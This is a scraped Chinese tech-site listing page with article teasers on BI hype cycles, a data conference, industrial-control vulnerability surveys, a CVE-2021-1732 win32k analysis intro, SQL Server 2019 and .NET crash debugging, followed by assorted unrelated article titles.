    来源:云头条 Gartner研究副总裁Jim Hare声称:"由于智能/情报是所有数字化业务的核心,IT和业务负责人继续将分析和商业智能(BI)视为创新投资方面的重中之重.该炒作周期帮助数据 ...

  6. 2019中国爱分析数据智能高峰论坛(北京)

    2019中国爱分析数据智能高峰论坛北京站即将开幕- 会议时间:2019-04-23 会议地点:北京  北京三里屯通盈中心洲际酒店  北京朝阳区南三里屯1号楼 ,近工体北街. 会议规模:300人 主办单 ...

  7. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  8. 【安全漏洞】CVE-2021-1732 win32k漏洞分析

    漏洞描述 内核模块win32kfull.sys的win32kfull!xxxClientAllocWindowClassExtraBytes函数中存在Type Confusion漏洞,利用此漏洞进行越 ...

  9. mysql 2005开发版,SQL server 2019 开发版下载

    SQL server 2019 亮点 分析所有类型的数据 使用内置有 Apache Spark 的 SQL Server 2019,跨关系.非关系.结构化和非结构化数据进行查询,从所有数据中获取见解, ...

  10. 无需Windbg | 使用VS 2019调试.NET程序的Crash异常

    前言 某台服务器上的IIS应用程序池,最近经常会自动关闭. 查看服务器上的事件日志,发现在关闭时,w3p.exe抛出了stackoverflow异常. 幸好,Windows自动帮我们抓取了Crash的 ...

最新文章

  1. unity2018关联不到vs_律道|蓝月传奇VS烈焰武尊:角色扮演类游戏独创性如何认定?...
  2. reportNG定制化之失败截图及日志
  3. 不同包下,相同数据结构的两个类进行转换
  4. tenserflow.js 环境搭建
  5. 如何解决两个相邻的span中间空隙
  6. HDU 3336 KMP
  7. 3 个相见恨晚的 Google Colaboratory 奇技淫巧!
  8. 大数据图数据库之MapReduce用于图计算
  9. linux出站入站端口维护,linux下如何用iptables开放指定端口_网站服务器运行维护,linux,iptables,端口...
  10. LeetCode算法题-Repeated String Match(Java实现)
  11. JBoss类加载机制 ClassLoadingConfiguration
  12. elispce导入java项目_emacs的java编程环境设置(jdee,lib,cedet,ecb
  13. Linux 引导过程精讲
  14. Android:adb进程问题
  15. C语言中结构体赋值问题的讨论
  16. 如何有效地进行资料整理?
  17. 2022年全球市场救生艇总体规模、主要生产商、主要地区、产品和应用细分研究报告
  18. 解读:电子合同四大理解误区
  19. @Aspect aop切面获取请求接口类名、方法名、及参数
  20. 多重系统的引导文件详解

热门文章

  1. 佳能C3025打印机扫描方法
  2. 拉仇恨!李想靠微博股票赚了两三倍,只有千把万
  3. android烧号工具,让你“爱恨交加”的
  4. 腾讯-算法工程师电话面试
  5. Future 用法详解
  6. clamav Java_ClamAV安装使用详解
  7. 计算机毕业设计 SSM在线电影售票系统(源码+论文)
  8. 英语常考知识点汇总笔记
  9. Linux上的中文输入法安装(Ubuntu + Kali五笔拼音)
  10. ORACLE中的LTRIM、RTRIM和TRIM